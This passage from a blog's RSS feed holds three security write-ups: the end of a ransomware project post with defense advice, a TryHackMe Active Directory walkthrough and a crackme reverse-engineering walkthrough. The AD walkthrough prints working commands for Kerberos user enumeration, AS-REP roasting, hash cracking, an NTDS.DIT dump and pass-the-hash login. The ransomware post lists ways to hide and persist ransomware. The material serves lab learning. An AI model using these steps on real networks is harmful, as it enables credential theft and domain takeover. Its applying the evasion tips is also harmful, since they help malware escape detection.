can typically evade this type of analysis by adding functionality to check the environment it is running in. If it is a sandboxed environment, some features of the ransomware will not run as they would normally.</p><p><strong>3.</strong> <strong>Heuristic Analysis</strong></p><p>It is a type of dynamic analysis where the program does not depend on only signatures to catch malicious programs but also unusual behavior. This would include large amounts of traffic, heavy load on the Operating System, or interaction with APIs commonly associated with malware.</p><p>Anomalous file activity, such as failures accessing multiple files and increased disk and CPU activity without any clear, decipherable reason, would also trigger this type of analysis.</p><p>Any program with these heuristics will not be allowed to execute on the main operating system.</p><p>Ransomware typically evades this by hardcoding delays to mimic regular processes and programs in the operating system. This would ensure it does not trigger such kind of security features.</p><h3><strong>Monitoring</strong></h3><p>Machines in the network can be monitored in various ways to detect malware or ransomware by:</p><p><strong>1.</strong> <strong>Using honeypots</strong></p><p>Honeypots are decoys with fake files that appear to be very real to an attacker. They enable the organization to detect the ransomware early on and isolate the infected machine before it spreads across the network.</p><p><strong>2.</strong> <strong>Using antivirus and software solutions</strong></p><p>They include anti-ransomware tools, antiviruses, and well Endpoint Detection and Response (EDR) solutions that alert you to the threats early enough to ensure adequate action can be taken in a reasonable amount of time.</p><p><strong>3.</strong> <strong>Checking email content</strong></p><p>Email settings would be set to parse text for suspicious content and report them as spam. This can be done using various machine-learning methods. <br> Disallowing specific attachments would also make it harder to infect the victim machine, e.g., executables.</p><p>This would enable phishing to become much more difficult hence reducing the chances of unsuspecting people downloading ransomware onto their machines.</p><h3><strong>Mitigation</strong></h3><p>Mitigation can be very important even before being infected by ransomware and can be done in the following ways:</p><p><strong>1.</strong> <strong>Utilizing a zero-trust policy to ensure ransomware does not spread to the whole network by limiting the interactivity of devices.</strong></p><p><strong>2.</strong> <strong>Using multifactor authentication to make it harder for ransomware to propagate in the network using the only method of authentication</strong></p><p><strong>3.</strong> <strong>Education on best cybersecurity practices, especially phishing, with emphasis on security as an individual responsibility.</strong></p><p><strong>4.</strong> <strong>Keeping the Disaster Recovery Plan or the Incident Response plan up to date and following prescribed industry standards.</strong></p><p><strong>5.</strong> <strong>Using honeypots and other technological mechanisms to ensure early detection of ransomware in the network. These devices would then be isolated from the network to prevent further infection</strong></p><p><strong>6.</strong> <strong>Regular threat hunting and cleanups to identify and completely remove any malware on the network, including ransomware.</strong></p><p><strong>7.</strong> <strong>Updating systems regularly to mitigate ransomware spreading through unpatched vulnerabilities</strong></p><p><strong>8.</strong> <strong>Updating and using antivirus, anti-ransomware tools, and other software solutions that assist in recovery and early detection. This would also include EDR and XDR tools as well as secure web gateways.</strong></p><p><strong>9.</strong> <strong>Regular backups using versioning control and the 3–2–1 rule (three backup copies on 2 different media with one backup stored in a separate location). Backups should also be stored on the cloud. Redundancy is very important.</strong></p><h3>MISCELLANEOUS</h3><p>Downloaded files for the ransomware could be kept hidden by:</p><p><strong>1.</strong> <strong>Keeping the ransomware among temporary folders in the system</strong></p><p><strong>2.</strong> <strong>Keeping the ransomware in Windows Registry keys to ensure it’s launched with the Operating System.</strong></p><p><strong>3.</strong> <strong>Identifiable information, such as file headers and file extensions for the ransomware, could be stripped to prevent trivial detection by code inspection.</strong></p><p><strong>4.</strong> <strong>The ransomware would have heuristics that would mimic a regular program hence avoiding as much heuristic detection as possible.</strong></p><p><strong>5.</strong> <strong>Signatures of the ransomware could be obfuscated to evade signature-based detection</strong></p><p><strong>6.</strong> <strong>The ransomware, if possible, could run as a process in memory, limiting its chances of detection</strong></p><p><strong>7.</strong> <strong>Keeping the ransomware among critical files in the system, i.e., </strong><strong>/bin in Windows and </strong><strong>SYSTEM in Windows.</strong></p><p>The code for this project can be found at:</p><p><a href="https://github.com/ichybell/Cryptography/tree/master/Ransomware">Cryptography/Ransomware at master · ichybell/Cryptography</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=195ec1a078eb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Attacktive Directory TryHackMe]]></title>
            <link>https://ianpeter.medium.com/attacktive-directory-tryhackme-b3ae2dcb4dd2?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3ae2dcb4dd2</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[smbclient]]></category>
            <category><![CDATA[impacket]]></category>
            <category><![CDATA[attacktive-directory]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Mon, 04 Apr 2022 19:19:45 GMT</pubDate>
            <atom:updated>2022-04-04T19:19:45.247Z</atom:updated>
            <content:encoded><![CDATA[<p>I am writing this to assist anyone looking to get through the Attacktive Directory room on TryHackMe. I hope you’ll be able to further your knowledge even more on your Active Directory journey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0r8TD9ArG5u7aT9mq5hobQ.png" /></figure><p><strong>Prerequisites</strong></p><ul><li>Access to Internet and a TryHackMe account</li><li>Access to a Kali Linux machine</li><li>Access the room found here:</li></ul><p><a href="https://tryhackme.com/room/attacktivedirectory">Attacktive Directory</a></p><p><strong>Task 1: Intro Deploy The Machine</strong></p><p>This part requires you to connect to the machine which can be done by using OpenVPN with the details provided. Incase you have any challenges, you can consider going through the following room:</p><p><a href="https://tryhackme.com/room/openvpn">OpenVPN</a></p><p>Alternatively, you can also use In-Browser Kali or Attack Box</p><p><strong>Task 2: Intro Setup</strong></p><ul><li>This section requires you to install two tools that you’ll be using throughout the room</li></ul><ol><li>impacket</li><li>bloodhound</li><li>neo4j</li></ol><ul><li>Keep track of these tools and the directories they are stored at as we’ll be making use of them heavily later 😁</li><li>You can follow the instructions in the room and you should be able to install the tools easily.</li></ul><p><strong>Task 3: Enumeration Welcome to Attacktive Directory</strong></p><ul><li>This task now brings into question your enumeration skills. We can begin with a simple nmap scan to discover open ports on the host machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E9-mIf68gPkiiAsgw_STNg.png" /></figure><ul><li>To understand nmap, you can use the following room</li></ul><p><a href="https://tryhackme.com/room/furthernmap">Nmap</a></p><blockquote>What tool will allow us to enumerate port 139/445?</blockquote><ul><li>This required a bit of research to discover the answer but you should find the correct tool with the characters required is:</li></ul><blockquote>enum4linux</blockquote><ul><li>We can get the answer to the remaining questions by reading through the nmap scan.</li></ul><blockquote>What is the NetBIOS-Domain Name of the machine?</blockquote><blockquote>What invalid TLD do people commonly use for their Active Directory Domain?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nXSMGTY3VlfVHs-YElyF9Q.png" /></figure><ul><li>The answer to the last question can also be gotten through research</li></ul><p><strong>Task 4: Enumeration Enumerating Users via Kerberos</strong></p><blockquote><strong>Kerberos is an authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner. This can be similar to using 0Auth when signing up for services.</strong></blockquote><ul><li>We begin this task by downloading kerbrute from it’s github repository as provided for in the room. Depending on where you’re running it from you can choose the correct download link. I opted to use:</li></ul><p><a href="https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_386">https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_386</a></p><ul><li>A modified User List and Password List is also provided which should be downloaded to be used as well</li><li>We can then launch it using</li></ul><pre>./kerbrute_linux_386</pre><ul><li>We get the following banner and options we can use which you should go through.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*my5eZoJmXHLpn3qvELQdlQ.png" /></figure><blockquote>What command within Kerbrute will allow us to enumerate valid usernames?</blockquote><ul><li>The answer to the first question is provided for in the Available Commands section of the kerbrute tool upon launching it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aHPxMaJZbFLLY0mHWZJDBA.png" /></figure><blockquote>What notable account is discovered? (These should jump out at you)</blockquote><blockquote>What is the other notable account is discovered? (These should jump out at you)</blockquote><ul><li>We then execute the userenum command as follows using the appropriate flags:</li></ul><pre>./kerbrute_linux_386 userenum — dc 10.10.230.203 -d spookysec.local userlist.txt -t 1000</pre><ul><li><strong>-dc: It is used to point to the IP of the domain controller</strong></li><li><strong>-d: It is used to point to the TLD for the Active Directory</strong></li><li><strong>userlist.txt is the provided userlist for enumeration</strong></li><li><strong>-t: It is used to specify how many threads we would like to use. You can choose any other number</strong></li><li>We should be able to get the following output of usernames where certain usernames stand out which should help us get the answers to the remaining questions in this section</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sgD2ZzV-XzsRo8MnnoXiSA.png" /></figure><p><strong>Task 5: Exploitation Abusing Kerberos</strong></p><p>Further details about ASEPRoasting that has been referenced in this task can be found at</p><p><a href="https://book.hacktricks.xyz/windows/active-directory-methodology/asreproast">ASREPRoast</a></p><ul><li>We can begin by navigating to the storage location for the GetNPUsers.py tool by issuing the following command</li></ul><pre>cd /opt/impacket/examples/</pre><blockquote>We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?</blockquote><ul><li>The answer to this question required a bit of trial and error and the correct account that was vulnerable to ASEPRoasting was</li></ul><blockquote>svc-admin</blockquote><ul><li>We can confirm this by running the following command which results in a hash dump of the password for the svc-admin</li></ul><pre>python3 GetNPUsers.py -dc-ip 10.10.11.14 spookysec.local/svc-admin -no-pass</pre><ul><li><strong>-dc-ip: It is used to provide the IP address of domain name of the domain controller</strong></li><li><strong>spookysec.local/svc-admin is used to show the domain and user we would like to check the script against</strong></li><li><strong>-no-pass: It is used when the user account has no password</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pRNo0qCaO_I8Q23TRtWig.png" /></figure><blockquote>Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)</blockquote><ul><li>We can then look at the wiki page to find and search using the first few strings of the hash we received</li></ul><p><a href="https://hashcat.net/wiki/doku.php?id=example_hashes">example_hashes [hashcat wiki]</a></p><ul><li>We can search using the string $krb5asrep</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I1tFPv7LM92maql3_Ivhnw.png" /></figure><ul><li>From here we can clearly see the answer to the question</li></ul><blockquote>What mode is the hash?</blockquote><ul><li>The answer to this question can also be gotten from the Wiki page above.</li></ul><blockquote>Now crack the hash with the modified password list provided, what is the user accounts password?</blockquote><ul><li>For this section, you can opt to choose whichever one of your favorite password cracking tools you want. I will be using John the Ripper.</li><li>Copy the hash as it was and paste into a file of your choosing with any arbitrary name. I used svc_admin_hash.txt</li><li>We then run John the Ripper to crack the hash and view the final password using the following commands:</li></ul><pre>john — wordlist=passwordlist.txt svc_admin_hash.txt<br>john --show svc_admin_hash.txt</pre><ul><li>We then get the password which we can use to answer the last question</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*WZ4rS7_V38_4uhix7U-hPQ.png" /></figure><p><strong>Task 6: Enumeration Back to the Basics</strong></p><ul><li>This task now shows us how we can enumerate any directories that the specific user might be sharing</li></ul><blockquote>What utility can we use to map remote SMB shares?</blockquote><ul><li>We can use the hint for this question to receive the answer.</li><li>The following article might also come in very handy for quick reference to smbclient. A cheatsheet if you will.</li></ul><p><a href="https://www.itprotoday.com/linux/linuxs-smbclient-command">Linux&#39;s Smbclient Command</a></p><blockquote>Which option will list shares?</blockquote><ul><li>The answer to this cannot be gotten from the output of the command</li></ul><pre>man smbclient</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JynP8pnv5CEngTjD8Sx8eA.png" /></figure><blockquote>How many remote shares is the server listing?</blockquote><ul><li>We can then execute the tool using the username and password we extracted to enumerate the number of share. This can be done with the command</li></ul><pre>smbclient -L 10.10.11.14 -U svc-admin%management2005</pre><ul><li>-U: This is used to provide the username</li><li>% : This is used if we wish to provide the password on the command line</li><li>This should result in the following output.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CwHMht3wr3ckGQLj7I1Jdw.png" /></figure><blockquote>There is one particular share that we have access to that contains a text file. Which share is it?</blockquote><ul><li>To access shares on smbclient, we can then use</li></ul><pre>smbclient \\\\10.10.11.14\\ADMIN$ -U svc-admin%management2005</pre><ul><li>We can use the help command to get a list of smbclient commands we can use once we access a share</li><li>As per the specifications of the question, we find only one share with a .txt file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fHxxBz2SW554xxrR22i_LQ.png" /></figure><blockquote>What is the content of the file?</blockquote><ul><li>We can then download this file using the get command and receive it in the current directory on our local machine:</li></ul><pre>get backup_credentials.txt</pre><ul><li>We then cat the file to see the credentials:</li></ul><pre>cat backup_credentials.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zHDsq_-OZEccE4-bkMPsiA.png" /></figure><blockquote>Decoding the contents of the file, what is the full contents?</blockquote><ul><li>We can then identify this as most likely being base64 encoding which we can then decode using the base64 kali tool using the following command</li></ul><pre>Wcat backup_credentials.txt | base64 -d</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*9bOhIl1o_VT4vhDMY15phA.png" /></figure><p><strong>Task 7: Domain Privilege Escalation Elevating Privileges within the Domain</strong></p><ul><li>At this point, it’s clear the domain credentials we recovered from svc-admin’s share are the login credentials for backup hence we can attempt a Privilege Escalation and see what else we can find</li><li>We begin by going back to the storage location for secretsdump.py by using:</li></ul><pre>cd /opt/impacket/examples/</pre><blockquote>What method allowed us to dump NTDS.DIT?</blockquote><ul><li>We execute the secretsdump.py using the following command which results in the corresponding output.</li></ul><pre>python3 secretsdump.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DNzsek-fHEeduEXX2M0Xeg.png" /></figure><ul><li>Scrolling down we see under the <strong>display options </strong>section, the <strong>-just-dc </strong>flag which can be used to dump NTDS.DIT data</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cnvXGHighBvKiNxFqa37Sw.png" /></figure><ul><li>We execute the script once more using this flag as the following command.</li></ul><pre>python3 secretsdump.py -just-dc backup:backup2517860@10.10.11.14</pre><ul><li>At the very beginning of the output, we are able to see the method used</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d0DrnJXGwnU0bo_Bkal_dA.png" /></figure><blockquote>What is the Administrators NTLM hash?</blockquote><ul><li>The answer to this can be gotten from the output of the previous command as it is the first hash provided.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oGUpQcojTA-yRczriRQiXA.png" /></figure><blockquote>What method of attack could allow us to authenticate as the user without the password?</blockquote><ul><li>This question required a bit of research but the following article clearly explains the method</li></ul><p><a href="https://attack.stealthbits.com/pass-the-hash-attack-explained">Pass the Hash Attack</a></p><blockquote>Using a tool called Evil-WinRM what option will allow us to use a hash?</blockquote><ul><li>We then do some research on how to install Evil-WinRM and the answer can be found at this github repository page:</li></ul><p><a href="https://github.com/Hackplayers/evil-winrm">GitHub - Hackplayers/evil-winrm: The ultimate WinRM shell for hacking/pentesting</a></p><ul><li>On the same page, we can see the options to use Evil-WinRM including the option we can use to authenticate using only a hash.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5e-A4yGHVn9z8RDskzssKQ.png" /></figure><p><strong>Task 8: Flag Submission Flag Submission Panel</strong></p><ul><li>This task required us to use Evil-WinRm to then login in to the machine using the hash we got. This can be done with the command</li></ul><pre>evil-winrm -u ADMINISTRATOR -H 0e0363213e37b94221497260b0bcb4fc -i 10.10.11.14</pre><ul><li>-u : This is used to provide the username we would like to authenticate as.</li><li>-H: This is used to provide the hash we would like to use as seen in the previous task.</li><li>-i: This is used to provide the IP address of the machine we would like to log in to.</li><li>This should result in the following successful login command line from which we can use Windows Commands to navigate and extract the final flags.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lrcUUm_x8YUuYgI9n_HzdA.png" /></figure><blockquote>svc-admin</blockquote><ul><li>We find the flag in the directory: C:\Users\svc-admin\Desktop\user.txt.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wVaiteoK8jKvHp93MFr_9A.png" /></figure><blockquote>backup</blockquote><ul><li>We find the flag in the directory: C:\Users\backup\Desktop\PrivEsc.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qkxqK7xKRVcUktEFvAgz1Q.png" /></figure><blockquote>Administrator</blockquote><ul><li>We find the flag in the directory: C:\Users\Administrator\Desktop\root.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*JP55eDHLl_TLFlgcYv4Reg.png" /></figure><p><strong>Conclusion</strong></p><ul><li>This was quite a fun room and I got to learn a number of tools that can be used during an attack on AD. I’ll be exploring further rooms of a similar nature to augment my knowledge further on AD.</li><li>Congratulations unto you as well for being able to complete the room and I challenge you to join me as well in my AD journey.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3ae2dcb4dd2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reversing ELF TryHackMe]]></title>
            <link>https://ianpeter.medium.com/reversing-elf-tryhackme-104874a880ed?source=rss-3ecde5547cc6------2</link>
            <guid isPermaLink="false">https://medium.com/p/104874a880ed</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[reversing-elf]]></category>
            <category><![CDATA[ghidra]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[static-analysis]]></category>
            <dc:creator><![CDATA[Ian Peter]]></dc:creator>
            <pubDate>Sun, 20 Mar 2022 20:28:13 GMT</pubDate>
            <atom:updated>2022-03-20T20:28:13.276Z</atom:updated>
            <content:encoded><![CDATA[<p>This is an article to provide assistance to the Reversing ELF TryHackMe room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pbo4MuZsSlU3fgiVpHMS4A.png" /></figure><p>Reverse Engineering can be an important skill in the field of Cybersecurity and this room was geared at giving you experience in the various tools and methodologies to observe when performing Rev Engineering especially in a CTF context.</p><p><strong>Prerequisites:</strong></p><ul><li>Access to Internet and a TryHackMe account</li><li>Access to a Kali Linux machine</li><li>Access the room found here:</li></ul><p><a href="https://tryhackme.com/room/reverselfiles">Reversing ELF</a></p><p><strong>Task 1: Crackme1</strong></p><ul><li>This task required you to execute the binary to get the flag</li><li>On a Linux machine, you can run the binary by executing it in its directory i.e. if the binary is stored on <em>/home/kali/Downloads/Crackme1 ,</em> you can</li></ul><pre><strong>cd /home/kali/Downloads/Crackme1</strong></pre><pre><strong>./Crackme1</strong></pre><ul><li>Or you can execute it with the full directory name</li></ul><pre><strong>./home/kali/Downloads/Crackme1</strong></pre><ul><li>After executing you should be able to get the flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/333/1*P5jlMYTtFZEEF01MP6Ltdg.png" /></figure><p><strong>Task 2: Crackme2</strong></p><ul><li>After downloading the initial files for the task, we attempt to execute it as we did in <strong>Task 1 </strong>which results in the following</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*tauWKU8JWwl5VwmOqGVDhw.png" /></figure><ul><li>This shows that the binary requires a password as a command line argument in order to run. Providing a random password results in what is shown below</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*Dl7VQDkzDHFiTEfYfRVZOg.png" /></figure><ul><li>We can now attempt static analysis of the binary to see what flag we can manage to extract</li></ul><blockquote><strong>Static analysis</strong> simply refers to analysing a file without executing it. This can be done by:</blockquote><blockquote>Searching for readable strings in the binary using <strong>strings</strong> command</blockquote><ul><li>Upon executing <strong>strings crackme2</strong> , most of the strings returned are standard output we can expect from a binary file but a specific section stands out.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/224/1*Tcj3jokOVXx5uJw5hPAJzw.png" /></figure><ul><li>The password can be extracted from the line that has been obfuscated above.</li><li>Upon running the binary now with that password, we receive the flag to be used in answering the second question</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*j-HAwOPKcsbB2xeuirE_LA.png" /></figure><p><strong>Task 3: Crackme3</strong></p><ul><li>For this task, we once again attempt to run the binary first to see what is required.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/285/1*HeAzypzx71n5D2iDe6tKWQ.png" /></figure><ul><li>The output is similar to the last task which required a password</li><li>Providing a random password results in what is shown below</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/363/1*F260u5TzXHHuf04aX9rgDw.png" /></figure><ul><li>We once again try running strings on it to see if we can find anything useful</li><li>Again, a specific section stands out</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*FhI5rUqC92-_v9TjLgn9ww.png" /></figure><ul><li>Among the output we can see encoded text which might be base64 due to the <em>padding(==)</em> at the end of the text.</li><li>We attempt to decode this text and receive the password needed to run the binary</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*KpjyYHk0q6gBo5ShbPIcSA.png" /></figure><p><strong>Task 4: Crackme4</strong></p><ul><li>After downloading the task files, we try to run the binary to see what is needed</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*xMAsFbuZW069lfcI1raEmw.png" /></figure><ul><li>It also requires a password as a command line argument but we also get a hint at the bottom that indicates the string is hidden and the use of <strong>strcmp</strong></li><li><strong>stcmp </strong>is a function that compares two strings to see if they are an exact match i.e. <strong>string compare</strong>.</li><li>We try running the binary with a sample password to observe what output will be given</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/1*B0v7-7yykxxnRaoTyXqEjQ.png" /></figure><ul><li>Upon trying static analysis on the binary using strings, we get only the strings we’ve already interacted with.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*57AriKcLOjt8BZeCojs6sQ.png" /></figure><ul><li>At this point, we would need to analyze the binary in a more dynamic fashion by interacting with it and observing the functions stored within</li><li>We can begin by using the <strong>gdb tool </strong>to see if we can determine anything. It can be launched via the command line using</li></ul><pre><strong>gdb crackme4</strong></pre><ul><li>This should launch into a command line for <strong>gdb </strong>similar to the one below</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*b6QVkDTldgGFQdl6l40MjA.png" /></figure><ul><li>You can arbitrarily search through various commands for gdb by using the help command</li><li>For this task, we will execute</li></ul><p>info functions</p><ul><li>This results in the output below where most of the functions are standard but some functions in particular stand out</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*_ZTjA57_epNakUcrMojqHA.png" /></figure><ul><li>We already know the binary uses a strcmp function, so we can begin by analysing the function <strong>strcmp@plt </strong>to gain further information</li></ul><blockquote>A <strong>breakpoint </strong>refers a point in the program where the program pauses after execution until it is allowed to continue.</blockquote><ul><li>We can set a breakpoint in the program at this function using the command below.</li></ul><pre>b *0x0000000000400520</pre><ul><li>We can now try and run the binary with a random password and further examine the program.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*FZBPewWB-lQQlTqkFRmUcQ.png" /></figure><ul><li>We can then examine the <strong>registers </strong>at this point to determine what values are stored there</li></ul><blockquote>Registers are simply <strong>small amounts of high-speed memory contained within the CPU</strong>.</blockquote><blockquote>They are used by the processor to store small amounts of data that are needed during processing, such as: the address of the next instruction to be executed. the current instruction being decoded.</blockquote><ul><li>Examining the registers using gdb can be done with the following command:</li></ul><pre>info registers</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*BT1zjsNYAAhjE_m0vTGHAQ.png" /></figure><ul><li>We can then examine the general purpose registers that contain values:</li></ul><ol><li><strong>rax </strong>— This register stores the values returned from functions</li><li>rdx — General purpose register that usually stores an argument from the function</li></ol><ul><li>We can display the contents of these registers using their hexadecimal values and the command below</li></ul><pre>x/s 0x7fffffffe705<br>x/s 0x7fffffffe310</pre><ul><li>The address of the <strong>rax </strong>gives us our required password</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*DmYacrXp_HvyfKl1uZWXIA.png" /></figure><ul><li>You can then exit gdb using the quit command and accept to kill any running processes once you are done.</li></ul><p><strong>Task 5: Crackme5</strong></p><ul><li>After downloading the files, we try and execute the binary which prompts us for input</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*ivwtmnDChgGd5IDHvurpag.png" /></figure><ul><li>Upon trying a random password once more, the following happens:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/342/1*-wLuYjvhpkv56xKs9ZqBDA.png" /></figure><ul><li>We attempt to run strings on it once more to see what we can extract but there seems to be nothing useful aside from what we already know</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*GEPDtES9WQyVOobDV3g4LA.png" /></figure><ul><li>We can then attempt to analyze the functions of the program using gdb once more</li></ul><pre>gdb crackme5</pre><ul><li>Listing all the functions present using info functions one function in particular stands out as a function we might be interested in</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*c6e6YgduYsT1EvV-ay4MiA.png" /></figure><ul><li>We can further analyse this function by setting a breakpoint on it and running the program with a sample password once more</li></ul><pre>b *0x0000000000400560<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*sjXizEilPViaeBbEDcPV_g.png" /></figure><ul><li>We can then examine the registers using info registers</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*6zImQJaF0BSAU6_an9mb1w.png" /></figure><ul><li>On examining the general purpose register rax and rsi, we get the our sample password and the input required.</li></ul><pre>x/s 0x7fffffffe310<br>x/s 0x7fffffffe330</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*mE5T90aiHaNNZon70VvJMw.png" /></figure><p><strong>Task 6: Crackme6</strong></p><ul><li>We begin by executing the binary which results in the following output.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/276/1*THtD5nwC7VaBoU82vlFVJw.png" /></figure><ul><li>This shows the need for a command line argument and provides a further hint to read the source code of the binary.</li><li>Executing it with a sample password results in the following:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*y-fhFFdYiyl3Q4aCk_X0eQ.png" /></figure><ul><li>Running strings on it as well reveals information that is not very useful</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*sT6-LQkqHOPRr0SyXdRF-w.png" /></figure><ul><li>At this point, we can now attempt to further analyze the binary by decompiling it and reading the source code. This can be done with various tools including:</li></ul><ol><li>Radare2 which can be launched by r2. You can use the following link to guide on learning Radare2 and decompiling a binary</li></ol><p><a href="https://opensource.com/article/21/1/linux-radare2">Explore binaries using this full-featured Linux tool</a></p><p>2. IdaFreeware which can be downloaded via the link below</p><p><a href="https://hex-rays.com/ida-free/">IDA Free</a></p><p>3. Ghidra which can be installed via the package manager using:</p><pre>apt install ghidra</pre><ul><li>I will be using ghidra for this challenge. It can be launched via the command line by using the command ghidra . You can learn the basics of using ghidra by watching this video below</li></ul><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FfTGTnrgjuGA%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DfTGTnrgjuGA&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FfTGTnrgjuGA%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/b680798939d5aac464b4d04013ce54a1/href">https://medium.com/media/b680798939d5aac464b4d04013ce54a1/href</a></iframe><ul><li>Upon examining the source code for the main function, we see a function called <strong>compare_pwd</strong> which takes the first argument we pass as input</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*zksej3zPlLywwbNtfcIL3w.png" /></figure><ul><li>We then go to this function and examine the source code. The string is passed into a function <strong>my_secure_test </strong>which takes the input and further examines it.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*PLPpIb_wpovqv5LMAgQG2Q.png" /></figure><ul><li>Looking at the source code for this function reveals a series of blocks of if…else… statements which eventually builds up to a specific value that forms our password i.e. {‘1’ , ‘3’ , …}</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*u6rmUpWXN3KaXUjjM6NStg.png" /></figure><p><strong>Task 7: Crackme7</strong></p><ul><li>We begin by executing the binary which results in the following output.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WJBEg23odFhjEtjO6QYPUw.png" /></figure><ul><li>We try and fill each prompt with values which does not seem to result in much</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_M7DGKzK-O4nR-hZgW_XTA.png" /></figure><ul><li>Running strings on the binary does not seem to reveal any information of interest either</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*788y-JHVYwngBrBWbwKNew.png" /></figure><ul><li>We then proceed to launch ghidra to examine the functions and the source code of the binary</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*hXzG6Nihv70Z9pnMSrukIA.png" /></figure><ul><li>This reveals an interesting value in hex that when used as input results in a print statement and execution of the <strong>giveFlag() </strong>function. We can easily use this online tool to</li></ul><p><a href="https://www.rapidtables.com/convert/number/hex-to-decimal.html">Hexadecimal to Decimal Converter</a></p><ul><li>Upon submitting the number as input, we receive the flag</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*ppd4GVixi8Q96N7dgY1oSQ.png" 